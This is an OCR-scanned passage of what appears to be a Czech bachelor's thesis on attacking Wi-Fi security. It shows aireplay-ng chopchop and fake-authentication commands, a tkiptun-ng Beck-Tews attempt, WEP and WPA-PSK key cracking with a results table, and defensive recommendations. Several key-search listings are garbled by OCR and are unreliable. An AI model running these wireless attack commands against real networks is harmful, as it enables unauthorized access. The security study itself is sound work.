aireplay-ng -4 -e Internet -b 50:67:F0:8B:62:24 -h 18:F4:6A:71:FB:04 mon0
10:33:31 Waiting for beacon frame (BSSID: 50:67:F0:8B:62:24) on channel 8
Read 68869 packets...

Size: 117, FromDS: 1, ToDS: 0 (WEP)
BSSID = 50:67:F0:8B:62:24

Dest. MAC = 33:33:00:01:00:03

Source MAC = 18:F4:6A:71:FB:04

0x0000: 0842 0000 3333 0001 0003 5067 f08b 6224 .B..33....Pg..b$
0x0010: 18f4 6a71 fb04 e014 414b 9100 aaaa 0300 ..jg....AK......
0x0020: 0000 86dd 6000 0000 0021 1101 fe80 0000 ...."....l......
0x0030: 0000 0000 117f 73c8 5886 02d4 ff02 0000 .....[k.X.......
0x0040: 0000 0000 0000 0000 0001 0003 ea38 14eb ............. 8..
0x0050: 0021 71b0 720f 0000 0001 0000 0000 0000 .!g.r...........
0x0060: 074e 6574 626f 6f6b 0000 ffO0 01f5 fd57 .Netbook...... W
0x0070: a2fe 5121 c5 QL

Use this packet ? y
Saving chosen packet in replay_src-0519-112152.cap

Offset 116 ( 0% done) | xor =4D | pt = 88 | 1277 frames written in 22079ms
Sent 3 packets, current guess: 02...
The chopchop attack appears to have failed. Possible reasons:

* Target is 802.11g only but you are using a 802.11b adapter.

* The wireless interface isn't setup on the correct channel.

* You're trying to inject with an unsupported chipset (Centrino?).

* The driver source wasn't properly patched for injection support.
*You are too far from the AP. Get closer or reduce the send rate.

* The wireless interface isn't setup on the correct channel.

* The client MAC you have specified is not currently authenticated.
Try running another aireplay-ng to fake authentication (attack "-1").
* The AP isn't vulnerable when operating in authenticated mode.
Try aireplay-ng in non-authenticated mode instead (no -h option).

Obrazek 3.4 Ukazka prabéhu utoku Korek Chopchop
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Diky dostatecnému zachyceni dat vsiti se mi podafilo prolomit kli¢ WEP v nékolika

ptipadech.

a-
a-
a-
a-
a-
a-
a.-
1-
a.-
1-
16~
a-
27

B
A
1
P
3
4
5
6
?
8
?

depth

-
W b T P bk 00 P bk ek ek ek

Y

KEY

[AB:80:88]1 Tested 521483 keys

hyte{vote?

CAC721925
BAC?E522 >
8EC78080
D2 763002
JAC81488 >
YEC7A488
EA<66A48 >
AFC67584>
2EC714245
PPC6Y3280
BE<6HA?28 >
37C71168>
SF{642563

FOUND*

BECGL536>
F4<65722>
A7 64000
YACG6E56A2
81 <64768>
HECG656A2
S6C64768>
F4<66816>
65C657925
EBC64256>
L59¢6A416>
18¢632325
ThC6I2I2H

Decrypted correctly: 188:x

Obrazek 3.5 — Ukazka prolomeni klice WEP

CFC64768>
YBC65SA240
87¢63488>
DCC655362
29¢63488>
52¢634838>
Fh{645125%
BD(64768>
4645125
JEC63I23IZH
24¢6H1605
S56C629762
72¢624645

3.5.3 Porovnani metod FMS/Korek a PTW

‘got 54622 IUs>

AF 627200
5246480843
2FC629765
BA<63I744>
2DC62728%
TAC63I23IZS
81<64256>
2CC642562
BA<64880 >
2ECG27280
FRBC6H1G6A>
F2(627285
57<624645

F?<622@8>
23¢63488>
83<62464>
39<63232>
BS<62720%
28¢629762
19<63488>
81<627280
61¢632325
1FC627280
ABCS 79845
S5BC62464>
A4<62288 5

[ C?=BA:BE:D?:3A:=7E-EA:-AF:=-2E:=YY:-BE:=-37:D1 1

Vysledky jednotlivych méfeni byly zaznamendny do tabulky 3.5. Z tabulky vyplyva, Ze

metoda PTW je mnohem efektivnéj$i nez metoda FMS/Korek. Naptiklad v prvnim piipadé je

vidét, ze k prolomeni téhoz klice bylo potieba daleko méné inicializacnich vektorti a bylo

otestovano daleko méné kombinaci klich nez u metody FMS/Korek, diky ¢emuz bylo mozné

prolomit kli¢ v kratsi dob¢.

Délka Pouzita Pocet
Kli¢ klice metoda kli¢a Pocet IV
C7:B0:8E:D9:3A:7TE:EA:AF:2E:77:BE:37:D1 128 bitdt | PTW 167794 | 48697
C7:B0:8E:D9:3A.7E.EA:AF.2E:77:BE:37:D1 128 bitd | FMS/Korek 521483 54622
Lukas1987 64 bita | PTW 75150 | 45754
fcohpvbx 64 bitat | PTW 1748 30573
navra52w 64 bitat | PTW 160351 | 52479
navra52w 64 bitt | FMS/Korek | 2635484 | 253721

Tabulka 3.5-Porovnani metod PTW a FMS/Korek
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3.6 Utoky na WPA/WPA 2-PSK
3.6.1 Slovnikovy tutok na WPA/WPA 2-PSK

K realizaci tohoto Utoku je nezbytné, abychom zachytili handshake mezi klientem a AP.
Handshake Ize zachytit pomoci deautentiza¢niho utoku ( popsan v kapitole 3.4). Spustime
program aircrack-ng a zadame soubor s handshakem, pomoci parametru —w zadame piistup

ke slovniku, ktery pouzijeme.

Aircrack—-ng 1.1

[0B:83:22]1 38484 keys tested <(161.64

FOUND* [ Mapik’s M-Net 1
Master Key 26 51 7E 49 5D A4
D1 922 29 86 88 3D

Transient Key

EAPOL HMAC

Obrazek 3.6 — Ukazka prolomeni WPA-PSK
3.6.2 Utok Beck-Tews

Utok se da realizovat pomoci aplikace tkiptun-ng. Pomoci parametru -9 otestujeme kvalitu
signalu a zda-li je mozné provést injekci. Parametry —m a —n poslouzi k definovani maximalni

a minimalni délky paketu.
Utok jsem spustil zadanim tohoto piikazu:

tkiptun-ng -e Internet -a 50:67:F0:8B:62:24 -h 18:F4:6A:71:FB:04 -m 80 -n 100 mon0
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For information, no action required: Using gettimeofday() instead of /dev/rtc

The interface MAC (00:15:AF:98:C6:2A) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether 18:F4:6A:71:FB:04

Blub 2:38 E6 38 1C 24 15 1C CF

Blub 1:17 DD 0D 69 1D C3 1F EE

Blub 3:29 31 79 E7 E6 CF 8D 5E

11:09:39 Michael Test: Successful

11:09:39 Waiting for beacon frame (BSSID: 50:67:F0:8B:62:24) on channel 8

11:09:39 Found specified AP

11:09:39 Sending 4 directed DeAuth. STMAC: [18:F4:6A:71:FB:04] [ 4/60 ACKs]

11:09:44 Sending 4 directed DeAuth. STMAC: [18:F4:6A:71:FB:04] [20|63 ACKSs]

11:09:50 Sending 4 directed DeAuth. STMAC: [18:F4:6A:71:FB:04] [ 4/60 ACKs]

Obrazek 3.7- Neuspésny utok Beck-Tews

Jelikoz testované AP neumoZnilo nastavit Sifrovani TKIP, tak nebylo mozné utok provést.
U tohoto AP se dalo nastavit pouze Sifrovani WPA-PSK s rezimem AES-CCMP. Jak jiz bylo
zminéno v kapitole 2.4.2, tak tento utok si poradi ale pouze s TKIP. Vse skoncilo
u opakovane¢ho odesilani deautentizacnich rdmci, s tim, Ze se po n€kolika minutach zacly

hodnoty opakovat.
3.7 Utoky Man in the Middle

3.7.1 Fale$na autentizace

Utok lze realizovat pomoci aplikace aireplay-ng. Utok spustime pomoci parametru -1. Pomoci
parametru —e nastavime cilové SSID AP, parametr —a nam poslouzi k nastaveni cilové MAC

adresy AP parametr —h k nastaveni zdrojové MAC adresy.

Ukazka utoku je na obrazku 3.8

19:15:20 Waiting for beacon frame (BSSID: 50:67:F0:8B:62:24) on
channel 2

19:15:21 Sending Authentication Request (Open System) [ACK]
19:15:21 Authentication successful
19:15:21 Sending Association Request [ACK]

19:15:21 Association successful :-) (AID: 1)
Obriazek 3.8 - Ukazka pribéhu faleSné autentizace
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4 Srovnani WEP a WPA z hlediska odolnosti

Vse je zaznamenano v tabulce 4.1, je pouzito klasické znamkovani jako ve skole (od 1 do 5,

kde 1 znamena nejlepsi a 5 nejhorsi).

Utok WEP WPA WPA 2

Na integritu dat a dGvérnost dat 4 1 1
Fale$na autentizace 5 1 1
Odesilani faleSnych paketi 4 2 1
Falesné AP 5 2-3 2-3
Utok na slaby kli¢ 4 1 1

Tabulka 4.1-Porovnani protokoeli z hlediska odolnosti

Jako prvni je porovnan utok na integritu dat a diveérnost dat. Nejhtte dopadl protokol WEP
a odnesl si zndmku 4. WEP pouziva pro kontrolu integrity cyklicky linearni soucet (CRC32).
Tento algoritmus neni ptili§ bezpecny, protoze Ize obejit zdménou urcitych bitli. Zaménime
vhodnym zptisobem nékteré bity tak, aby kontrolni soucet zistal stejny. Takto upraveny paket
poté odesleme do sité. Paket projde kontrolou integrity a poté je predan do vyssi vrstvy, kde
zpusobi chybu, protoze data nebudou davat smysl. Nasledné je odeslana zprava s chybovym
hlasenim, jejiz podobu mizeme odhadnout a poté odvodit Sifrovaci kli¢ pro dany inicializa¢ni
vektor. U WPA s TKIP je situace mnohem lep$i. Pouzitd hashovaci funkce Michael neni
linearni (na rozdil od CRC32, kde byla hodnota této funkce zaSifrovana v téle zpravy
a umoznila zminénou zdménu dat), tim padem nebylo mozné pienaSeny paket modifikovat.

U WPA 2 s AES-CCMP rovnéz nebylo mozné pienaseny paket modifikovat.

Dale byla porovnana faleSnd autentizace u vSech protokoll. Nejhtife si opét vedl protokol
WEP, kde se podafila faleSnd autentizace realizovat béhem nékolika sekund. U WPA
1 WPA 2 se nepodaftilo faleSnou autentizaci realizovat, potize nastaly uz v ptipadé, kdy jsem

mél zapnutou pouhou filtraci MAC adres.

Co se tyce faleSnych paketll, tak kritick4 situace nastala opét u protokolu WEP. U WPA jsem
dal hodnoceni 2. Diky aplikaci Gtoku Beck-Tews bylo mozné do sité zasilat faleSné pakety.
Na rozdil od protokolu WEP ma WPA lepsi funkci pro kontrolu integrity a ta rozpozna, Ze se

nékdo pokousi zautocit na vasi sit’ (automaticky pak zméni hodnoty kli¢tt). Diky tomu se mi
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podaftilo utok potadné zrealizovat az na né€kolikaty pokus. U zabezpeceni WPA 2 jsem s timto

typem Utoku nepochodil a proto mu ddvam hodnoceni 1.

Piedposlednim bodem bylo porovnani odolnosti ohledné autentizace k fake AP. Protokoly
WPA a WPA 2 si vedly témét shodné jako WEP, tedy odolnost vii¢i tomuto typu utoku byla
Spatnd (dobrou odolnost prokézaly tyto protokoly az pti pouziti autentizanich schémat-coz
uvadi zdroj [18]). Diky tomu jsem udélil hodnoceni 2-3 u WPA a WPA 2. U protokolu WEP
nastava nejveétsi potiz v okamziku, kdy je nastavena jednostrannd autentizace (uzivatel

V tomto ptipad¢€ nema jistotu, Ze se pripojuje k autorizovanému ptistupovému bodu).

Poslednim bodem pro porovnani z hlediska odolnosti téchto 3 zabezpeceni je Utok na slaby
kli¢. Nejsnadnéji Slo tento utok aplikovat na protokol WEP (konkrétné se jedna o utok FMS).
Vse je mozné realizovat diky tzv.slabym inicializatnim vektortm. U protokolu WPA
i u protokolu WPA 2 zadna problematicka situace nenastala, prokazaly vué¢i tomuto typu

utoku vybornou odolnost.

Z tabulky je zfejmé, Ze protokol WEP pohotel ve vSech kategoriich a tudiz je dobré se mu

vyhybat za kazdou cenu.
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5 Zavér prace

5.1 Zhodnoceni namérenych vysledku

Cilem této prace bylo rozebrat moznosti napadnutelnosti zabezpeceni bezdratovych siti WiFi
a otestovat Utoky na jednotliva zabezpeceni. Otestoval jsem utoky na 3 typy zabezpeceni
(WEP, WPA a WPA 2 (ob¢ v rezimu PSK)), rovnéz byly otestovany utoky na slabsi typy
ochran WiFi siti (vypnuti SSID a filtrace MAC adres).

Ukazalo se, ze vypnuti SSID a filtrace MAC adres neni dostatecnou ochranou. V piipadé
2.zminéné ochrany nebylo potifeba nic zasadniho feSit, protoZe v dnesni dobé existuje
specialni software, ktery udéld veSkerou praci za vas. Se skrytym SSID byla situace o néco
malo hor$i. Pro Windows neexistuje program, ktery by dokazal zjistit skryté SSID, je nutné
neustdle monitorovat provoz v siti a pockat si, az se klient pfipoji, coz je pon¢kud zdlouhavé.
Network Stumbler mi nedokdzal zobrazit skryté SSID, dalSi programy na tom nebyly také
nejlépe. Naptiklad program Inssider mi sice dokazal sd€lit, ze je v okoli sit’ se skrytym SSID,
nicméné v poli Nazev mi ukazoval neustale Nezndmou hodnotu. Nejhlife si vedl program
Wireless NetView, ktery po vypnuti SSID odmital spolupracovat a dokonce nezobrazil ani
sit¢ mych sousedi. V prostfedi Linuxu $lo zjistit skryté SSID snadnéj$im zptisobem (program
Kismet jej dokazal zjistit sdm od sebe)- konkrétné Slo v baliku aircrack-ng provést

deautentiza¢ni utok, takze nebylo nutné ¢ekat na okamzik, kdy se n¢kdo ptipoji do sité.

Co se tyce prolomeni Sifrovani WEP a WPA (a WPA 2), tak se ukazalo, ze prostfedi
Windows neni vhodné k této ¢innosti. NaSel jsem sice balik aircrack-ng i pro Windows, ale
bohuzel nefungoval tak, jak by mél. Aby bylo mozné realizovat utoky na WEP a WPA, tak
tento program vyzadoval specialni ovladace pro wifikartu. Nedokazal jsem nalézt adekvatni
ovladace a tak cely proces prolamovani hesla skoncil pomérné brzy (vétSinou kviili absenci
Peek driveru). Kdyz jsem zkusil n¢jaké neoficidlni ovladace, tak jsem si také zrovna
nepomohl (nebylo moZzné ptipojit se k Internetu). Proto nedoporucuji provadét testy utoki
Vv prostiedi Windows, prostiedi Linuxu je daleko vhodnéjsi. V dneSni dobé¢ existuji specidlni
Linuxové distribuce, které jsou specidlné¢ uréeny k hackovani WiFi siti. NejzndméjSimi
distribucemi jsou Backtrack a WiFislax. Obé tyto distribuce maji v sob¢ integrovan balik

programu aircrack-ng a spoustu dalSich programda.
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U prolomeni protokolu WEP nastala fada komplikaci. Zejména pak pfii realizaci aktivnich
utokti (Fragmentac¢ni itok a Chopchop utok). V obou ptipadech se nepodatilo utok realizovat
idedlnim zptisobem. U Chopchop utoku se nezdatilo uhddnout byte odfizlé casti ramce, AP
nic neposlalo a tak utok ztroskotal. To se stavalo vzdy, ani v 1 ptipadé se nepodatilo uhadnout
hodnotu bytu. U fragmenta¢niho Gtoku nastaly potize hned v samotném zacatku. Ptijal jsem
k otestovani n€kolik pakett (vyzkouSel jsem zhruba 100 moznosti), ackoliv ramce mély
v LLC nutné byty OXAAAAQ0300000008, tak utok vzdy ztroskotal. AP mi vzdy potvrdilo

ACKem, ze ramec pfijalo, nicméné nikdy nic nepieposlalo.

Déle byly otestovany pasivni utoky (itok PTW a FMS/Korek). Obé metody byly navzajem
porovnany a ukézalo se, ze utok PTW je mnohem efektivnéj$i nez utok FMS. K prolomeni

klice mu stacilo méné zachycenych paketti a tim padem byl kli¢ prolomen také rychleji.

U WPA byly otestovany 2 atoky-slovnikovy utok na WPA-PSK (i WPA 2-PSK) a poté utok
Beck-Tews na WPA-TKIP. V prvnim ptipad¢ bylo nutné zachytit prvni 2 zpravy 4-cestného
handshaku (byl pouzit deautentiza¢ni tok), nasledné pak byl pouzit slovnik S hesly (ulozen
na CD). Jelikoz testovaci sestava postradala vykonnou grafickou kartu (k dispozici byla pouze
sdilena grafika Intel GMA X3100), tak nemohlo dojit k otestovani specialniho softwaru, ktery
vyuziva k prolomeni WPA-PSK vypoéta grafické karty. Utok Beck-Tews se nepodafilo
realizovat diky nemoznosti nastavit Sifrovani WPA-TKIP na pouzitém AP

(ZyXel P-660HN-T3A).
5.2 Doporuceni

Rada lidi (hlavné uZivatelé WiFi v domacnostech) podcefiuje zabezpedeni své domaci WiFi
sit€. V drtivé vétsin€ piipadd je to zpusobeno diky neznalosti dané problematiky. Nékteii
uzivatelé napiiklad nasazuji pouze jednodussi typy ochran (pouze filtrace MAC adres

nebo pouhé vypnuti SSID) a mysli si, Ze maji vyhrdano. Neni tomu tak.

Testy prokazaly, ze pouhé vypnuti vysilani SSID a filtrace MAC adres se d4 pomérné
snadnym zplisobem obejit a bohuzel neexistuje Zadny zpiisob, jak se branit. Testy rovnéz
ukazaly, jak je slabé Sifrovani dat pomoci protokolu WEP. Téméi ve vSech testech odolnosti

WEP propadl, kli¢ se podatilo v mnoha piipadech prolomit béhem nékolika minut.

Za sebe rozhodn€ doporucuji nasazeni WPA/WPA 2 v rezimu PSK, protoZe prokazal
vybornou odolnost vici vSem typim utokil. Nicméné je potieba zvolit dostatecné silné heslo,

nejlépe kombinaci pismen, Cisel a specidlnich znakd, aby jste dokazali odolavat slovnikovym
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utokiim. Na WEP pokud mozno zapomeiite (pokud ale mate starSi zafizeni, které nic lepsiho
neumi, tak volte dostate¢né silné heslo, které dokéaze odolat slovnikovym tutokiim, zvolte
délku hesla 128 biti a aktualizujte firmware). Nasazeni filtru MAC adres a piipadné vypnuti
SSID mi v dne$ni dob¢ ptijde trochu zbyte¢né a postrada to smysl. Nicméné kdo chce, tak to

muze nasadit.

V prostfedi firem je vhodné zauvazovat o nasazeni autentizacnich servert. Je potieba zvolit
vhodnou variantu, kterd neni pfili§ ndkladnd a kterd je bezpecnd (nejlépe EAP-TTLS
nebo PEAP). Zaroven musi byt tato varianta snadno implementovatelnd. Neuskodi dat pred
AP firewall a pouzivat smérové antény misto vSesmérovych. Za zvazeni stoji take nasazeni

VPN sité.

Pomérné zajimavym zptisobem se v Némecku vypotradali s lidmi, ktefi si nezabezpecCuji své
WiFi sité. Kazdy si musi povinné zabezpecit svou WiFi sit’, aby nékomu neumoznil nelegalné
stahovat hudbu, filmy nebo software. Pokud tak neuéini, tak se vystavuje riziku vystaveni

pokuty ve vysi 100 eur. Pfijde vadm to jako dobry napad?
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Priloha A-Prubéh 4-cestného handshaku

4-cestny handshake spousti ptistupovy bod. Jak uvadi zdroj [ ], tak handshake umoznuje:
1.) Potvrdit, ze klient zna PMK.

2.) Odvodit novy PTK.

3.) Instalovat kli¢e Sifrovani a integrity.

4.) Sifrovat pienos GTK.

5.) Potvrdit vybér sady Sifer.

PTK je odvozeno z PMK, pevného fetézce, MAC adresy piistupového bodu, MAC adresy
klienta a ze 2 ndhodné¢ vybranych ¢isel. Témito ¢isly jsou ¢islo ANonce, jez je zaslano
klientovi pies AP a ¢islo SNonce, které si klient vygeneruje sdm zcela ndhodné. Prvni zpravu
spusti AP. Vybere nahodné Cislo ANonce a odesle jej klientovi v neSifrované podob¢. Klient
vygeneruje SNonce. Nyni pro n¢j neni problémem vypocitat PTK a odvozené
docasné klice. Pomoci kli¢e KCK zasle SNonce a kli¢ MIC, ktery je vypocten z druhé zpravy.
V okamziku, kdy autentizator pfijme 2.zpravu, mize vytahnout SNonce a vypocitat
PTK a jiné¢ odvozené docasné klice. Na zaklad¢ ovéieni hodnoty MIC, kterou obdrzel ve
2.zpréave se ujisti, zda-li znd klient PMK a zda ma spravné vypocitany PTK a odvozené

docasné klice.

Tteti zprava, kterou zasle autentizator klientovi, obsahuje GTK (kli¢ pro multicasty). GTK je
odvozené z ndhodného klice GMK a GNonce. GTK je Sifrovany pomoci KEK. Zprava je
chranéna pomoci MIC (je vypocitané ze 3. zpravy pomoci KCK). Po obdrZeni této zpravy se

uzivatel dozvi, zda AP znd PMK a m4 z néj spravné spocteno PTK.

Posledni zprava potvrzuje dokonceni handshaku a uddva, Ze klient nyni nainstaluje klic a
nasledné spusti Sifrovani. Jakmile autentizator ovefi hodnoty MIC, tak nainstaluje své klice.
Klient a AP ziskaly, vypocitaly a nainstalovaly Sifrovaci kli¢e a neni tedy problém, aby mezi

nimi byla zahajena komunikace.
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Priloha B-Obsah prilozeného CD
Handshake-zachyceny handshake pti prolomeni WPA-PSK

Slovnik-slovnik, ktery byl pouzit pro realizaci slovnikového titoku na WPA-PSK

Text-Text bakalarské prace ve formatu PDF a MS Word
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